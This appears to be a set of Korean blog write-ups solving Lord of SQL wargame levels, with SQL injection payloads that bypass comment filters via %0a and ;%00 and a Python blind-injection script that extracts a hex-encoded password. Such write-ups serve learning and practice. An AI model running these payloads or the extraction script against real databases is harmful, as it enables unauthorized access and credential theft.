id 뒤에 주석이 있어서 pw에 무슨 값을 입력해도 의미가 없어지는 문제입니다.


하지만 #으로 주석 처리할 경우 한 줄만 주석이 되므로 개행을 하게 되면 주석을 피할 수 있고,

개행을 하더라도 ';' 을 만나지 않는 이상 한개의 Query로 인식하게 됩니다.


보통 개행으로 사용하는 문자는 %0a 입니다.



그렇게 생각하고 처음에 한 방법은 다음과 같습니다.

';' 앞에는 %0a를 넣어서 빈칸으로 보입니다.


해당 Query에 별다른 문제가 없어 보이는데 실상은 Query를 두개 수행한 것이라

첫 번째 Query인 select id from prob_dragon where id='guest' 의 결과가 앞에 있기에 풀리지 않습니다.

(근데 왜 "Hello guest"도 안 나올까요...)



두 개의 Query로 만들 생각만 계속했었는데.. 한 문장으로 해결이 가능 했습니다.

다음과 같이 and pw='' 를 먼저 입력하고 뒤에 or을 입력하면 연산자 우선순위로 인해 and를 먼저 계산하게 됩니다.


id='guest'# and pw=''%0a and pw='' or id='admin'%23'

위와 같이 and 은 거짓으로 되지만 or 연산으로 id='admin' 값을 찾아오게 됩니다.

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dark_eyes  (0) 2018.10.12
[LOS] iron_golem  (1) 2018.10.11
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08

Blind SQL Injection 문제로 보여집니다.

추가된 필터링은 regex, like 이며 해당 함수는 정규 표현식을 사용하는데 쓰여집니다.


이 문제는 저한테 좀 버거웠네요.. 힌트도 구하고 참고도  했습니다 ㅜ



우선 항상 하던 것처럼 pw의 길이를 구해야 합니다.

매번 8자리의 문자열이었는데 이번에는 그보다 상당히 컸습니다.

40자리의 pw 길이였습니다.


이렇게 하고 평소처럼 ascii code표에 대응하는 비밀번호들을 하나씩 비교해봤는데 전혀 나오지 않았습니다.

' or substr(pw,1,1)='0'#



너무 막혀서 HINT를 구했는데.

우리가 읽을 수 없는 문자열이고, 한글이라는 이야기를 알게 되었습니다.


흔히 쓰는 영어랑 숫자는 1byte로 표현이 가능하지만 한글은 2byte가 있어야 표현을 할 수 있습니다.


그래서 영어를 사용하는 나라들은 UTF-8로 표현이 가능하게 됩니다.

하지만 우리나라, 중국, 일본과 같은 문자를 사용하는 나라들은 최소 2byte가 필요하여 UTF-16이나 UTF-32를 사용해야 문자를 표현할 수 있습니다.


문자 하나의 길이를 알아보고자 다음과 같이 substring()으로 문자 하나를 가져와 길이를 구해보니 4byte로 나오게 됩니다.



그렇게 10번째도 확인하고 11번째 문자도 확인해보니 11번째 문자에서는 "Hello guest"가 나오는 것을 보면

총 10자리 수의 unicode 문자열이 기록되어 있는 것을 알 수 있습니다.



그러다 Blind SQLI로 한글을 가져올 때 hex()값을 이용할 수 있다는 것을 알게 되었습니다.

hex(pw)의 길이를 구하면 80으로 나오게 됩니다.



이 정보를 가지고 hex값을 이용해서 하나씩 추출해보면 값이 나오고 해당 값을 hex decode하면 password가 만들어 집니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?'
index_list = range(48,58)+range(97,123) #0~9, a~z
 
password = ''
 
for i in range(1,81):
    for j in index_list:
        query = "pw=' or substr(hex(pw),"+str(i)+",1)='"+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs







항상 영어나 숫자로만 된 값을 가져오기만 해서 그런지 unicode라는 생각을 하기 힘들었습니다,

처음 보는 유형이라 쉽지 않네요 ㅜ..




[참고]

Blind SQL Injection를 이용하여 한글 가져오기!: http://zulloper.tistory.com/119

문자열 인코딩에 대한 정리: https://lng1982.tistory.com/233

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08

주석으로 항상 쓰던 '#', '-'이 필터링 되어있고, 길이 제한이 생겼습니다.



pw에 보시면 ('{$_GET[pw]}')로 감싸져 있는 것을 보아하니 괄호를 이용해야 할 것은 확실해 보입니다.


어떻게 할지 몰라 힌트를 구했더니... 

주석으로 쓰는 다른 문자가 있고, 문자열은 0이라는 것을 얻었습니다.


뒤에 id!='admin'을 없애야 하기에 다른 주석 문자를 찾아보니 ;%00 /**/ 도 있었습니다.

문자열 길이가 제한이 있기 때문에 ;%00 을 사용해야 할 것으로 보입니다.

(%00은 NULL로 문자열의 끝을 나타냅니다.)


또한 문자열은 0이다.. 라는 힌트는

뒤에 ')이 주석으로 사라지니 일단 앞의 ('의 짝을 맞춰야 합니다.

그럼 여기까지 pw=('');%00') 이렇게 되는데 결국 무조건 참으로 만들려면 아직 완전하지 않습니다.

문자열이 0이라는 힌트로 ('')는 아무것도 없으니 0 일수도 있겠다고 생각했습니다.

(보통 1은 참 0은 거짓)


그렇게 다음과 같이 만들어 주면 성공하게 됩니다.




[힌트 출처]

http://34t3rnull.tistory.com/39


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08

+ Recent posts